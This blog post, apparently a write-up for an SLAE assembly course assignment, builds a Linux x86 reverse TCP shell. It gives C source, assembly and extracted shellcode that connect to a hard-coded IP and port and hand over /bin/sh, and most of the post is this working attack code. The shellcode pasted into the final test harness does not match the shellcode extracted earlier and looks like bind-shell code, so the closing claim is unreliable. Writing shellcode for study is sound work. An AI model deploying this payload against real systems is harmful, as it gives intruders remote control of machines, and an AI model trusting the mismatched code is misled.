May 23, 2019

SLAE – Assignment #2 – Reverse TCP Shell

1. Introduction


In this blog post I will go through second task of SLAE exam challenge - creating reverse shell with easy configurable IP address and port which will spawn a shell on connection back. My strategy was the same as with bind shell - build C code and then based on analysis recreate in assembly.

2. C code reverse shell


The difference with bind shell was that instead of bind() and listen() we used connect().

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

#define REMOTE_ADDR "192.168.13.243"
#define REMOTE_PORT 2608

int main() {
  int sock_des;        //socket descriptor
  struct sockaddr_in addr_ser;

  sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP
  addr_ser.sin_family = AF_INET; // ipv4
  addr_ser.sin_port = htons(REMOTE_PORT); // port in little-endian
  addr_ser.sin_addr.s_addr = inet_addr(REMOTE_ADDR); // IP in network order

  connect(sock_des, (struct sockaddr *)&addr_ser, sizeof(addr_ser)); //connect to remote host
  dup2(sock_des, 0); // stdin
  dup2(sock_des, 1); // stdout
  dup2(sock_des, 2); // stderr

  execve("/bin/sh", NULL, NULL); //spawn a shell
  return 0;
}

Proof picture:


3. Find out the details


To enumerate system calls I ran compiled binary with strace and got list of functions:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(2608), sin_addr=inet_addr("192.168.13.243")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0

Next step we need to find system call numbers. I used grep: 

grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get connect() subfunction call number I used grep again:

grep "sys_connect" /usr/include/linux/net.h 
#define SYS_CONNECT 3 /* sys_connect(2) */

4. Assembly code


global _start

section .text
_start:
;clear out registers, edx will be zero till the end of the code

       xor eax, eax
       xor ebx, ebx
       xor edx, edx

;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)

 push eax
 push 0x01
 push 0x02
 mov ecx, esp      ; ecx points to the top of the stack where our arguments are located             
 mov al, 0x66
 inc bl                   ; 0x01
 int 0x80

 mov esi, eax     ; store socket descriptor to esi 

;connect to address
;int connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int connect(esi, struct, 0x10)

;sockaddr_in structure:

 mov al, 0x66
 mov bl, 0x03                        ; 0x03
 push edx            ; terminate
 push long 0xf30da8c0  ;ip_addr
 push word 0x300a        ; port number
 xor ecx, ecx
 mov cl, 0x02 
 push word cx
 mov ecx,esp    ; mov structure pointer in ecx                                      
 push 0x10
 push ecx
 push esi                        
 mov ecx, esp  ; ecx points to arguments
 int 0x80

 mov ebx,esi ; get file descriptor for dup() call

;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
  
         mov al,0x3f            ;63 in decimal
         xor ecx,ecx            ;0x00
         int 0x80

;int dup2(ebx, 1)

         mov al,0x3f
         inc ecx                   ;0x01
         int 0x80
     
;int dup2(ebx, 2)
    
         mov al,0x3f
         inc ecx                   ;0x02
         int 0x80

;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)

  push edx                 ;string NULL-terminator
  push 0x68732f2f     ; hs//
  push 0x6e69622f    ; nib/
  mov ebx, esp          ; pointer to command string
  mov ecx, edx          ; ecx 0x00
  mov al, 0xb
  int 0x80

Compile assembly:

nasm -f elf32 -o asm_reverse.o asm_reverse.nasm
ld -o asm_reverse asm_reverse.o

Check for any NULL bytes and extract shellcode with command line magic from the course:

objdump -d -M intel asm_reverse| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68\xc0\xa8\x0d\xf3\x66\x68\x0a\x30\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Then copy/paste in C code:

#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"

char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";

main()
{

 printf("Shellcode Length:  %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}

Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a reverse shell:


5. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

No comments:

Post a Comment